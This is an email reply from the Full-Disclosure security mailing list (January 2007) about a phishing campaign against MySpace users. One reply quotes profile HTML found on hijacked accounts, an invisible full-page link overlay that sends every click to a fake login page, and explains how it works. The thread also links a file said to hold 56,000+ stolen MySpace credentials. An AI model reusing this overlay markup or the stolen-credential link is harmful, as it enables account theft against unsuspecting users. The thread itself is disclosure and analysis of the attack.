<br><br><div><span class="gmail_quote">On 1/16/07, <b class="gmail_sendername">Deepan</b> <<a href="mailto:codeshepherd@gmail.com">codeshepherd@gmail.com</a>> wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
On Mon, 2007-01-15 at 23:05 -0500, Peter Dawson wrote:<br>> "but at some point all this abuse will likely start sending users off<br>> to another service. "<br>><br>> thats only --if the know if they are being abused.. most of them are
<br>> not coherent about any such issues..<br>><br>><br>><br>> On 1/15/07, Kevin Pawloski <<a href="mailto:kpawloski@gmail.com">kpawloski@gmail.com</a>> wrote:<br>> The level of phishing sites targeting MySpace and bot related
<br>It is not quiet easy to fool 56000+ users using phishing sites. I wonder<br>how Mark is doing it.</blockquote><div><br><br>Hmm... Oh no is very easy, yes very easy what he is doing. He left some traces on some of the "cracked" accounts, I was expectig of somebody to comment earlier since I've been a couple of hours since the initial post.
<br><br>When you modify a profile you can add this to the data of the profile, you know those HTML customizations. I found this on one of the accounts that really got my attention a little bit more than the girl of the account :P
<br>
<br>HOLA!!!!<a
style="text-decoration:none;position: absolute;top:1px;left:1px;"
href="<a href="http://marcolano.com/login/">http://marcolano.com/login/</a>"><img
style="border-width:0px;width:2024px; height:1768px;"
src="<a href="http://x.myspace.com/images/clear.gif">http://x.myspace.com/images/clear.gif</a>"></a><a
style="text-decoration:none;position: absolute;top:1px;left:1px;"
href="<a href="http://marcolano.com/login/">http://marcolano.com/login/</a>"><img
style="border-width:0px;width:2024px; height:1768px;"
src="<a href="http://x.myspace.com/images/clear.gif">http://x.myspace.com/images/clear.gif</a>"></a><embed
allowScriptAccess="never" allowNetworking="internal"
enableJSURL="false" enableHREF="false" saveEmbedTags="true"
src="<a href="http://www.../mov/cid_3277_f.mov">http://www.../mov/cid_3277_f.mov</a>" width="1" height="1"><br>
<br>As you might see, this creates a huge invisible link in the page in front of everything, so when you click into anything on the page like a link or anything it will take you to that phising website so ppl beleive that the account expired and enter their user+pass. Now I beleive that his message was a way to tell about a BUG in myspace that should filter that content and it is not doing it. So... we are in fact not talking about a stupid phishing website for those who still beleive that.
<br><br>Regards<br>Waldo<br><br></div><br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">> activity that has been targeting MySpace lately is pretty
<br>> alarming. Granted there is no real financial risk if an<br>> account gets compromised for the user but at some point all<br>> this abuse will likely start sending users off to another
<br>> service.<br>><br>> Kevin<br>><br>><br>> On 1/15/07, North, Quinn <<a href="mailto:QNorth@iso.com">QNorth@iso.com</a>> wrote:<br>> "youmustbecompleteretards@idiot.com
:doyouhonestlythinkiwillputmyrealpass<br>> wordhere"<br>><br>> ...at least there is some hope left in the world :-\<br>><br>> --=Q=--<br>><br>> -----Original Message-----
<br>> From: <a href="mailto:full-disclosure-bounces@lists.grok.org.uk">full-disclosure-bounces@lists.grok.org.uk</a><br>> [mailto:<a href="mailto:full-disclosure-bounces@lists.grok.org.uk">
full-disclosure-bounces@lists.grok.org.uk</a>] On<br>> Behalf Of Emma<br>> Perdue<br>> Sent: Monday, January 15, 2007 7:48 AM<br>> To: <a href="mailto:full-disclosure@lists.grok.org.uk">
full-disclosure@lists.grok.org.uk</a><br>> Subject: [Full-disclosure] Grab a myspace credential<br>><br>> 56000+ and counting<br>><br>> <a href="http://www.marcolano.com/login/myspace.txt">
http://www.marcolano.com/login/myspace.txt</a><br>><br>> --<br>> *Emma aka TINK*<br>><br>> _______________________________________________<br>> Full-Disclosure - We believe in it.
<br>> Charter:<br>> <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>> Hosted and sponsored by Secunia -
<a href="http://secunia.com/">http://secunia.com/</a><br>><br>> _______________________________________________<br>> Full-Disclosure - We believe in it.<br>> Charter:
<br>> <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>> Hosted and sponsored by Secunia - <a href="http://secunia.com/">
http://secunia.com/</a><br>><br>><br>><br>> _______________________________________________<br>> Full-Disclosure - We believe in it.<br>> Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">
http://lists.grok.org.uk/full-disclosure-charter.html</a><br>> Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br>><br>><br>> _______________________________________________
<br>> Full-Disclosure - We believe in it.<br>> Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>> Hosted and sponsored by Secunia -
<a href="http://secunia.com/">http://secunia.com/</a><br>--<br>-----------------------------------------------<br>Regards<br>Deepan Chakravarthy N<br><a href="http://www.codeshepherd.com/">http://www.codeshepherd.com/</a>
<br><a href="http://sudoku-solver.net/">http://sudoku-solver.net/</a><br><br>I am a programmer by day,<br>I dig grave for other programmers by night.<br><br>_______________________________________________<br>Full-Disclosure - We believe in it.
<br>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/
</a><br></blockquote></div><br>